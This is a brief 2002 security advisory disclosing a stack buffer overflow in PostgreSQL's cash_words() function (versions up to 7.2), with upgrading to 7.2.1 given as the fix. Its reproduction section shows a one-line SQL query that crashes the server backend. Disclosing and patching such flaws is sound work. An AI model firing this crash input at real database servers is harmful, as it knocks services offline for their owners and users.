// @(#) Mordred Labs Advisory 0x0001

Release data: 19/08/02
Name: Buffer overflow in PostgreSQL
Versions affected: <= 7.2
Risk: average

--[ Description:
PostgreSQL is an advanced object-relational database management system
that supports an extended subset of the SQL standard, including
transactions,
foreign keys, subqueries, triggers, user-defined types and functions.

There exists a stack based buffer overflow in cash_words() function, that
potentially allows an attacker to execute malicious code.

--[ How to reproduce:
psql> select cash_words('-700000000000000000000000000000');
pgReadData() -- backend closed the channel unexpectedly.
	.... ....
The connection to the server was lost...

--[ Solution:
Upgrade to version 7.2.1.
